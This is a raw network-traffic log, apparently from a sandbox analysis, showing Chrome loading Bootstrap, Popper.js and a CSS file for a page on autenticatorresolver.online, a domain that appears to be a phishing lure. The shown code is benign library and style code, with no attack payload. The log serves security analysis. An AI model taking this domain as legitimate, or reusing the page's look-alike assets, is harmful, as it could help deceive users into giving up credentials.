2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 73 7d 29 2c 64 65 73 74 72 6f 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 28 29 2c 70 3d 21 30 7d 7d 3b 69 66 28 21 51 28 65 2c 74 29 29 72 65 74 75 72 6e 20 75 3b 66 75 6e 63 74 69 6f 6e 20 6c 28 29 7b 63 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 28 29 7d 29 29 2c 63 3d 5b 5d 7d 72 65 74 75 72 6e 20 75 2e 73 65 74 4f 70 74 69 6f 6e 73 28 72 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 21 70 26 26 72 2e 6f 6e 46 69 72 73 74 55 70 64 61 74 65 26 26 72 2e 6f 6e 46 69 72 73 74 55 70 64 61 74 65 28 65 29 7d 29 29 2c 75 7d 7d 76 61 72 20 24 3d 7b 70 61 73 73 69 76 65 3a 21 30 7d 3b 76 61 72 20 65 65 3d 7b 6e 61 6d 65 3a 22 65 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 22 2c 65 6e 61 62 6c 65 64 3a 21 30 Data Ascii: s}),destroy:function(){l(),p=!0}};if(!Q(e,t))return u;function l(){c.forEach((function(e){return e()})),c=[]}return u.setOptions(r).then((function(e){!p&&r.onFirstUpdate&&r.onFirstUpdate(e)})),u}}var $={passive:!0};var ee={name:"eventListeners",enabled:!0
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 69 67 68 74 22 2c 54 3d 22 63 6c 69 65 6e 74 57 69 64 74 68 22 3b 69 66 28 57 3d 3d 3d 74 28 72 29 26 26 22 73 74 61 74 69 63 22 21 3d 3d 6d 28 57 3d 64 28 72 29 29 2e 70 6f 73 69 74 69 6f 6e 26 26 22 61 62 73 6f 6c 75 74 65 22 3d 3d 3d 63 26 26 28 48 3d 22 73 63 72 6f 6c 6c 48 65 69 67 68 74 22 2c 54 3d 22 73 63 72 6f 6c 6c 57 69 64 74 68 22 29 2c 57 3d 57 2c 69 3d 3d 3d 44 7c 7c 28 69 3d 3d 3d 50 7c 7c 69 3d 3d 3d 4c 29 26 26 61 3d 3d 3d 42 29 4d 3d 41 2c 62 2d 3d 28 68 26 26 57 3d 3d 3d 6b 26 26 6b 2e 76 69 73 75 61 6c 56 69 65 77 70 6f 72 74 3f 6b 2e 76 69 73 75 61 6c 56 69 65 77 70 6f 72 74 2e 68 65 69 67 68 74 3a 57 5b 48 5d 29 2d 6f 2e 68 65 69 67 68 74 2c 62 2a 3d 70 3f 31 3a 2d 31 3b 69 66 28 69 3d 3d 3d 50 7c 7c 28 69 3d 3d 3d 44 7c 7c 69 3d 3d Data Ascii: ight",T="clientWidth";if(W===t(r)&&"static"!==m(W=d(r)).position&&"absolute"===c&&(H="scrollHeight",T="scrollWidth"),W=W,i===D\|\|(i===P\|\|i===L)&&a===B)M=A,b-=(h&&W===k&&k.visualViewport?k.visualViewport.height:W[H])-o.height,b*=p?1:-1;if(i===P\|\|(i===D\|\|i==
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 65 73 2e 61 72 72 6f 77 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 74 2e 73 74 79 6c 65 73 2e 61 72 72 6f 77 2c 72 65 28 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 63 2c 7b 6f 66 66 73 65 74 73 3a 74 2e 6d 6f 64 69 66 69 65 72 73 44 61 74 61 2e 61 72 72 6f 77 2c 70 6f 73 69 74 69 6f 6e 3a 22 61 62 73 6f 6c 75 74 65 22 2c 61 64 61 70 74 69 76 65 3a 21 31 2c 72 6f 75 6e 64 4f 66 66 73 65 74 73 3a 66 7d 29 29 29 29 2c 74 2e 61 74 74 72 69 62 75 74 65 73 2e 70 6f 70 70 65 72 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 74 2e 61 74 74 72 69 62 75 74 65 73 2e 70 6f 70 70 65 72 2c 7b 22 64 61 74 61 2d 70 6f 70 70 65 72 2d 70 6c 61 63 65 6d 65 6e 74 22 3a 74 2e 70 6c 61 63 65 6d 65 6e 74 7d 29 7d 2c 64 61 74 61 3a 7b 7d 7d 3b 76 61 72 Data Ascii: es.arrow=Object.assign({},t.styles.arrow,re(Object.assign({},c,{offsets:t.modifiersData.arrow,position:"absolute",adaptive:!1,roundOffsets:f})))),t.attributes.popper=Object.assign({},t.attributes.popper,{"data-popper-placement":t.placement})},data:{}};var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49755	151.101.65.229	443	3512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 13:26:44 UTC	571	OUT	GET /npm/bootstrap@5.3.3/dist/js/bootstrap.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://autenticatorresolver.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-06 13:26:44 UTC	775	IN	HTTP/1.1 200 OK Connection: close Content-Length: 60635 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 5.3.3 X-JSD-Version-Type: version ETag: W/"ecdb-LGwKWDRaCdN2EjCvgjpOSFKxJkM" Accept-Ranges: bytes Age: 1569149 Date: Mon, 06 Jan 2025 13:26:44 GMT X-Served-By: cache-fra-etou8220156-FRA, cache-ewr-kewr1740033-EWR X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 35 2e 33 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 34 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 Data Ascii: /! Bootstrap v5.3.3 (https://getbootstrap.com/) * Copyright 2011-2024 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */!function(t,e){"ob
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 64 20 30 21 3d 3d 74 2e 6e 6f 64 65 54 79 70 65 29 2c 63 3d 74 3d 3e 6c 28 74 29 3f 74 2e 6a 71 75 65 72 79 3f 74 5b 30 5d 3a 74 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 74 2e 6c 65 6e 67 74 68 3e 30 3f 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 72 28 74 29 29 3a 6e 75 6c 6c 2c 68 3d 74 3d 3e 7b 69 66 28 21 6c 28 74 29 7c 7c 30 3d 3d 3d 74 2e 67 65 74 43 6c 69 65 6e 74 52 65 63 74 73 28 29 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 21 31 3b 63 6f 6e 73 74 20 65 3d 22 76 69 73 69 62 6c 65 22 3d 3d 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 29 2e 67 65 74 50 72 6f 70 65 72 74 79 56 61 6c 75 65 28 22 76 69 73 69 62 69 6c 69 74 79 22 29 2c 69 3d 74 2e 63 6c 6f 73 65 73 74 28 22 64 65 74 61 69 6c 73 Data Ascii: d 0!==t.nodeType),c=t=>l(t)?t.jquery?t[0]:t:"string"==typeof t&&t.length>0?document.querySelector(r(t)):null,h=t=>{if(!l(t)\|\|0===t.getClientRects().length)return!1;const e="visible"===getComputedStyle(t).getPropertyValue("visibility"),i=t.closest("details
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 3a 65 2c 74 72 61 6e 73 69 74 69 6f 6e 44 65 6c 61 79 3a 69 7d 3d 77 69 6e 64 6f 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 29 3b 63 6f 6e 73 74 20 73 3d 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 65 29 2c 6e 3d 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 69 29 3b 72 65 74 75 72 6e 20 73 7c 7c 6e 3f 28 65 3d 65 2e 73 70 6c 69 74 28 22 2c 22 29 5b 30 5d 2c 69 3d 69 2e 73 70 6c 69 74 28 22 2c 22 29 5b 30 5d 2c 31 65 33 2a 28 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 65 29 2b 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 69 29 29 29 3a 30 7d 29 28 65 29 2b 35 3b 6c 65 74 20 6e 3d 21 31 3b 63 6f 6e 73 74 20 72 3d 28 7b 74 61 72 67 65 74 3a 69 7d 29 3d 3e 7b 69 3d Data Ascii: itionDuration:e,transitionDelay:i}=window.getComputedStyle(t);const s=Number.parseFloat(e),n=Number.parseFloat(i);return s\|\|n?(e=e.split(",")[0],i=i.split(",")[0],1e3*(Number.parseFloat(e)+Number.parseFloat(i))):0})(e)+5;let n=!1;const r=({target:i})=>{i=
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 3d 69 29 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 74 2c 65 2c 69 29 7b 63 6f 6e 73 74 20 73 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 2c 6e 3d 73 3f 69 3a 65 7c 7c 69 3b 6c 65 74 20 6f 3d 4d 28 74 29 3b 72 65 74 75 72 6e 20 53 2e 68 61 73 28 6f 29 7c 7c 28 6f 3d 74 29 2c 5b 73 2c 6e 2c 6f 5d 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 74 2c 65 2c 69 2c 73 2c 6e 29 7b 69 66 28 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 65 7c 7c 21 74 29 72 65 74 75 72 6e 3b 6c 65 74 5b 6f 2c 72 2c 61 5d 3d 44 28 65 2c 69 2c 73 29 3b 69 66 28 65 20 69 6e 20 24 29 7b 63 6f 6e 73 74 20 74 3d 74 3d 3e 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 72 65 6c 61 74 65 64 54 61 72 67 65 74 7c 7c 65 2e 72 65 6c 61 74 65 64 54 61 72 67 65 74 21 3d 3d 65 2e 64 65 Data Ascii: =i))}function D(t,e,i){const s="string"==typeof e,n=s?i:e\|\|i;let o=M(t);return S.has(o)\|\|(o=t),[s,n,o]}function N(t,e,i,s,n){if("string"!=typeof e\|\|!t)return;let[o,r,a]=D(e,i,s);if(e in $){const t=t=>function(e){if(!e.relatedTarget\|\|e.relatedTarget!==e.de
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 3d 6f 29 7b 69 66 28 68 29 66 6f 72 28 63 6f 6e 73 74 20 69 20 6f 66 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6c 29 29 78 28 74 2c 6c 2c 69 2c 65 2e 73 6c 69 63 65 28 31 29 29 3b 66 6f 72 28 63 6f 6e 73 74 5b 69 2c 73 5d 6f 66 20 4f 62 6a 65 63 74 2e 65 6e 74 72 69 65 73 28 63 29 29 7b 63 6f 6e 73 74 20 6e 3d 69 2e 72 65 70 6c 61 63 65 28 43 2c 22 22 29 3b 61 26 26 21 65 2e 69 6e 63 6c 75 64 65 73 28 6e 29 7c 7c 50 28 74 2c 6c 2c 72 2c 73 2e 63 61 6c 6c 61 62 6c 65 2c 73 2e 64 65 6c 65 67 61 74 69 6f 6e 53 65 6c 65 63 74 6f 72 29 7d 7d 65 6c 73 65 7b 69 66 28 21 4f 62 6a 65 63 74 2e 6b 65 79 73 28 63 29 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 3b 50 28 74 2c 6c 2c 72 2c 6f 2c 6e 3f 69 3a 6e 75 6c 6c 29 7d 7d 2c 74 72 69 67 67 65 72 28 74 2c 65 2c 69 29 7b Data Ascii: =o){if(h)for(const i of Object.keys(l))x(t,l,i,e.slice(1));for(const[i,s]of Object.entries(c)){const n=i.replace(C,"");a&&!e.includes(n)\|\|P(t,l,r,s.callable,s.delegationSelector)}}else{if(!Object.keys(c).length)return;P(t,l,r,o,n?i:null)}},trigger(t,e,i){
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2b 69 2e 73 6c 69 63 65 28 31 2c 69 2e 6c 65 6e 67 74 68 29 2c 65 5b 69 5d 3d 7a 28 74 2e 64 61 74 61 73 65 74 5b 73 5d 29 7d 72 65 74 75 72 6e 20 65 7d 2c 67 65 74 44 61 74 61 41 74 74 72 69 62 75 74 65 3a 28 74 2c 65 29 3d 3e 7a 28 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 60 64 61 74 61 2d 62 73 2d 24 7b 48 28 65 29 7d 60 29 29 7d 3b 63 6c 61 73 73 20 71 7b 73 74 61 74 69 63 20 67 65 74 20 44 65 66 61 75 6c 74 28 29 7b 72 65 74 75 72 6e 7b 7d 7d 73 74 61 74 69 63 20 67 65 74 20 44 65 66 61 75 6c 74 54 79 70 65 28 29 7b 72 65 74 75 72 6e 7b 7d 7d 73 74 61 74 69 63 20 67 65 74 20 4e 41 4d 45 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 27 59 6f 75 20 68 61 76 65 20 74 6f 20 69 6d 70 6c 65 6d 65 6e Data Ascii: .toLowerCase()+i.slice(1,i.length),e[i]=z(t.dataset[s])}return e},getDataAttribute:(t,e)=>z(t.getAttribute(`data-bs-${H(e)}`))};class q{static get Default(){return{}}static get DefaultType(){return{}}static get NAME(){throw new Error('You have to implemen
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 73 2e 5f 6d 65 72 67 65 43 6f 6e 66 69 67 4f 62 6a 28 74 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2c 74 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 41 66 74 65 72 4d 65 72 67 65 28 74 29 2c 74 68 69 73 2e 5f 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 74 29 2c 74 7d 73 74 61 74 69 63 20 67 65 74 49 6e 73 74 61 6e 63 65 28 74 29 7b 72 65 74 75 72 6e 20 6e 2e 67 65 74 28 63 28 74 29 2c 74 68 69 73 2e 44 41 54 41 5f 4b 45 59 29 7d 73 74 61 74 69 63 20 67 65 74 4f 72 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 28 74 2c 65 3d 7b 7d 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 65 74 49 6e 73 74 61 6e 63 65 28 74 29 7c 7c 6e 65 77 20 74 68 69 73 28 74 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 3a 6e 75 6c 6c 29 7d 73 74 61 74 69 63 20 67 65 Data Ascii: s._mergeConfigObj(t,this._element),t=this._configAfterMerge(t),this._typeCheckConfig(t),t}static getInstance(t){return n.get(c(t),this.DATA_KEY)}static getOrCreateInstance(t,e={}){return this.getInstance(t)\|\|new this(t,"object"==typeof e?e:null)}static ge
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 5b 74 61 62 69 6e 64 65 78 5d 22 2c 27 5b 63 6f 6e 74 65 6e 74 65 64 69 74 61 62 6c 65 3d 22 74 72 75 65 22 5d 27 5d 2e 6d 61 70 28 28 74 3d 3e 60 24 7b 74 7d 3a 6e 6f 74 28 5b 74 61 62 69 6e 64 65 78 5e 3d 22 2d 22 5d 29 60 29 29 2e 6a 6f 69 6e 28 22 2c 22 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 66 69 6e 64 28 65 2c 74 29 2e 66 69 6c 74 65 72 28 28 74 3d 3e 21 64 28 74 29 26 26 68 28 74 29 29 29 7d 2c 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 29 7b 63 6f 6e 73 74 20 65 3d 52 28 74 29 3b 72 65 74 75 72 6e 20 65 26 26 4b 2e 66 69 6e 64 4f 6e 65 28 65 29 3f 65 3a 6e 75 6c 6c 7d 2c 67 65 74 45 6c 65 6d 65 6e 74 46 72 6f 6d 53 65 6c 65 63 74 6f 72 28 74 29 7b 63 6f 6e 73 74 20 65 3d 52 28 74 29 3b 72 65 74 75 72 6e 20 65 3f 4b Data Ascii: [tabindex]",'[contenteditable="true"]'].map((t=>`${t}:not([tabindex^="-"])`)).join(",");return this.find(e,t).filter((t=>!d(t)&&h(t)))},getSelectorFromElement(t){const e=R(t);return e&&K.findOne(e)?e:null},getElementFromSelector(t){const e=R(t);return e?K
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 70 72 65 73 73 65 64 22 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4c 69 73 74 2e 74 6f 67 67 6c 65 28 22 61 63 74 69 76 65 22 29 29 7d 73 74 61 74 69 63 20 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 65 3d 4a 2e 67 65 74 4f 72 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 28 74 68 69 73 29 3b 22 74 6f 67 67 6c 65 22 3d 3d 3d 74 26 26 65 5b 74 5d 28 29 7d 29 29 7d 7d 6a 2e 6f 6e 28 64 6f 63 75 6d 65 6e 74 2c 22 63 6c 69 63 6b 2e 62 73 2e 62 75 74 74 6f 6e 2e 64 61 74 61 2d 61 70 69 22 2c 47 2c 28 74 3d 3e 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 Data Ascii: element.setAttribute("aria-pressed",this._element.classList.toggle("active"))}static jQueryInterface(t){return this.each((function(){const e=J.getOrCreateInstance(this);"toggle"===t&&e[t]()}))}}j.on(document,"click.bs.button.data-api",G,(t=>{t.preventDefa
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 6c 74 61 58 3d 30 2c 65 26 26 76 28 65 3e 30 3f 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 72 69 67 68 74 43 61 6c 6c 62 61 63 6b 3a 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6c 65 66 74 43 61 6c 6c 62 61 63 6b 29 7d 5f 69 6e 69 74 45 76 65 6e 74 73 28 29 7b 74 68 69 73 2e 5f 73 75 70 70 6f 72 74 50 6f 69 6e 74 65 72 45 76 65 6e 74 73 3f 28 6a 2e 6f 6e 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2c 73 74 2c 28 74 3d 3e 74 68 69 73 2e 5f 73 74 61 72 74 28 74 29 29 29 2c 6a 2e 6f 6e 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2c 6e 74 2c 28 74 3d 3e 74 68 69 73 2e 5f 65 6e 64 28 74 29 29 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 22 29 29 3a 28 6a 2e 6f 6e 28 74 68 69 73 2e 5f 65 Data Ascii: ltaX=0,e&&v(e>0?this._config.rightCallback:this._config.leftCallback)}_initEvents(){this._supportPointerEvents?(j.on(this._element,st,(t=>this._start(t))),j.on(this._element,nt,(t=>this._end(t))),this._element.classList.add("pointer-event")):(j.on(this._e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49758	104.21.80.1	443	3512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 13:26:44 UTC	593	OUT	GET /assets/global/pdf/css/app.css HTTP/1.1 Host: autenticatorresolver.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://autenticatorresolver.online/fl/w0q9hliz Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-06 13:26:44 UTC	980	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 13:26:44 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=604800 expires: Mon, 13 Jan 2025 11:30:07 GMT etag: W/"17e2-66d40740-10b4bb;br" last-modified: Sun, 01 Sep 2024 06:18:40 GMT vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Age: 6997 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=opjAFDe7jAECiLLSfVurjK6pCoP3HO3xcP0VGnQqrQQFqD7izzx%2BchaVQR7DeXFGaja4UFodl1%2FRVzzRbJlGxuoTSguSby6QC%2BPp6xinP8iNeQ6Mgn848GQVyl%2FAGohRQee0fvKkcnGLCSmRfoU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdc0a9f9f260f36-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1507&min_rtt=1506&rtt_var=568&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2872&recv_bytes=1171&delivery_rate=1922317&cwnd=231&unsent_bytes=0&cid=8189a464ccc0af83&ts=151&x=0"
2025-01-06 13:26:44 UTC	389	IN	Data Raw: 31 37 65 32 0d 0a 20 2a 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 62 6f 64 79 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 55 49 22 2c 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 52 6f 62 6f 74 6f 2c 45 62 72 69 6d 61 2c 22 4e 69 72 6d 61 6c 61 20 55 49 22 2c 47 61 64 75 67 69 2c 22 53 65 67 6f 65 20 58 62 6f 78 20 53 79 6d 62 6f 6c 22 2c 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 22 4d 65 69 72 79 6f 20 55 49 22 2c 22 4b 68 6d 65 72 20 55 49 22 2c 54 75 6e 67 61 2c 22 4c 61 6f 20 55 49 22 2c 52 61 61 76 69 2c 22 49 73 6b 6f 6f 6c 61 20 50 6f 74 61 22 2c 4c 61 Data Ascii: 17e2 *{box-sizing:border-box}body{font-weight:400;font-family:"Segoe UI",-apple-system,"Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala UI",Gadugi,"Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI",Tunga,"Lao UI",Raavi,"Iskoola Pota",La
2025-01-06 13:26:44 UTC	1369	IN	Data Raw: 69 20 4c 75 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 50 68 61 67 73 50 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 54 61 69 20 4c 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 69 20 42 61 69 74 69 22 2c 22 4d 6f 6e 67 6f 6c 69 61 6e 20 42 61 69 74 69 22 2c 22 4d 56 20 42 6f 6c 69 22 2c 22 4d 79 61 6e 6d 61 72 20 54 65 78 74 22 2c 22 43 61 6d 62 72 69 61 20 4d 61 74 68 22 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 39 33 37 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 35 72 65 6d 3b 6d 61 72 67 69 6e 3a 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 28 32 35 35 2c 32 35 35 2c 32 35 35 29 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a Data Ascii: i Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math";font-size:0.9375rem;line-height:1.25rem;margin:0px;background-color:rgb(255,255,255)}button,input{font-weight:inherit;font-family:
2025-01-06 13:26:44 UTC	1369	IN	Data Raw: 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 6e 6f 6e 65 7d 2e 66 31 74 79 71 30 77 65 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 70 78 7d 2e 66 31 31 71 6d 67 75 76 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 70 78 7d 2e 66 31 75 69 6e 66 6f 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 36 70 78 7d 2e 66 31 6a 6c 68 73 6d 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 32 70 78 7d 2e 66 31 39 66 34 74 77 76 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 70 78 7d 2e 66 31 68 75 33 70 71 36 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 7d 2e 66 31 37 6d 63 63 6c 61 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 66 31 39 64 6f 67 38 61 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 7d 2e 66 32 31 63 63 62 74 3e 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 31 Data Ascii: round-image:none}.f1tyq0we{margin-left:0px}.f11qmguv{margin-right:0px}.f1uinfot{margin-top:16px}.f1jlhsmd{margin-bottom:12px}.f19f4twv{margin-bottom:0px}.f1hu3pq6{margin-top:0px}.f17mccla{text-align:center}.f19dog8a{position:fixed}.f21ccbt>div:nth-child(1
2025-01-06 13:26:44 UTC	1369	IN	Data Raw: 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 2e 66 66 39 73 33 79 77 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 70 78 7d 2e 66 31 70 68 6b 69 34 33 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 38 70 78 7d 2e 66 31 62 73 6a 72 6d 33 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 66 31 6d 68 34 37 7a 68 7b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 33 70 78 7d 2e 66 38 32 69 74 61 66 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 32 70 78 7d 2e 66 31 32 6b 6c 74 73 6e 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 2e 66 38 78 6c 7a 36 67 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 7d 2e 66 31 63 6d 62 75 77 6a 7b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 7d 2e 66 31 39 70 68 38 38 62 7b 6d 69 6e Data Ascii: 